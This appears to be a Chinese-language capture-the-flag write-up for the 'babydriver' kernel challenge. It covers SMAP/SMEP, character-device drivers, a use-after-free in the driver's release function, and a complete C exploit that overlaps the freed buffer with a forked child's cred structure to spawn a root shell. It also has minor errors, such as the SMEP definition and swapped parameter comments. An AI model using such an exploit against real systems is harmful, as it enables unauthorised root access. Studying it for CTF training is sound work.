smap:Supervisor Mode Access Prevention,管理模式访问保护。
smep:Supervisor Mode Access Prevention,管理模式执行保护。
smap/smep用于阻止内核空间直接访问/执行用户空间的数据。
// copy_to_user: 从内核空间拷贝数据到用户空间
unsigned long copy_to_user(void *to, const void __user *from, usigned long count);
// 1) to 目标地址,这个地址是用户空间的地址;
// 2) from 源地址,这个地址是内核空间的地址;
// 3) count 将要拷贝的数据的字节数。
// copy_from_user: 从用户空间拷贝数据到内核空间
unsigned long copy_from_user(void __user *to, const void *from, usigned long count);
// 1) to 目标地址,这个地址是内核空间的地址;
// 2) from 源地址,这个地址是用户空间的地址;
// 3) count 将要拷贝的数据的字节数。
在Linux内核中,使用cdev结构体来描述字符设备的信息;
dev_t dev;
为设备号,用于唯一地标识字符设备;const struct file_operations *ops;
用于定义字符设备驱动提供给VFS的接口函数,如常见的open()、read()、write()等等; 在Linux字符设备驱动中,模块的加载通过register_chrdev_region()
/ alloc_chrdev_region()
来静态
/ 动态
获取设备号。通过cdev_init()
建立cdev
与file_operations
之间的连接,通过cdev_add()
向系统添加一个cdev以完成注册。模块的卸载通过cdev_del()
来注销cdev,通过unregister_chrdev_region()
来释放设备号。
通过实现file_operations
中的部分函数,来定义该字符驱动函数独特提供给VFS的接口函数,如open()、read()、write(),用于用户对该字符设备进行使用。
附件解压:
tar -xvf babydriver.tar
得到三个文件:
boot.sh:指定了相应的参数去运行qume的shell命令;
bzImage:内核镜像文件;(可通过file命令查看版本号)
rootfs.cpio:磁盘镜像(文件系统);
./boot.sh #启动(去掉--enable-kvm)
对文件系统分析:
(注意: cpio gzip)
提取文件:
cpio -idmv < rootfs.cpio
init文件:qemu启动系统后,执行的一系列初始化命令。(flag文件的问题)
insmod命令:插入内核模块
rmmod命令:卸载内核模块
module_init(kernel_module_init); //载入内核模块
module_exit(kernel_module_exit); //卸载内核模块
babydriver.ko驱动模块分析:
关键点:babydev_struct定义bss段中,为全局变量。
打开两次设备,所使用的babydev_struct为同一块。
babyrelease
函数中存在UAF漏洞,打开两个设备后,close()其中一个,另一个还可以使用babydev_struct。
ioctl()函数中可以修改buf的大小为cred结构体同大小,然后close(),随后fork个子进程使得cred和babydev_struct为同个空间。使用UAF修改该块空间(cred为root权限),子进程的权限即变为root。
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/wait.h>
#include <sys/stat.h>
int main()
{
// 打开两次设备
int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);
// 修改 babydev_struct.device_buf_len 为 sizeof(struct cred)
ioctl(fd1, 0x10001, 0xa8);
// 释放 fd1
close(fd1);
// 新起进程的 cred 空间会和刚刚释放的 babydev_struct 重叠
int pid = fork();
if(pid < 0)
{
puts("[*] fork error!");
exit(0);
}
else if(pid == 0)
{
// 通过更改 fd2,修改新进程的 cred 的 uid,gid 等值为0
char zeros[30] = {0};
write(fd2, zeros, 28);
if(getuid() == 0)
{
puts("[+] root now.");
system("/bin/sh");
exit(0);
}
}
else
{
wait(NULL);
}
close(fd2);
return 0;
}
# 静态编译
gcc -static exploit.c -o exploit
# 打包
find . | cpio -o --format=newc > rootfs.cpio
↶ 返回首页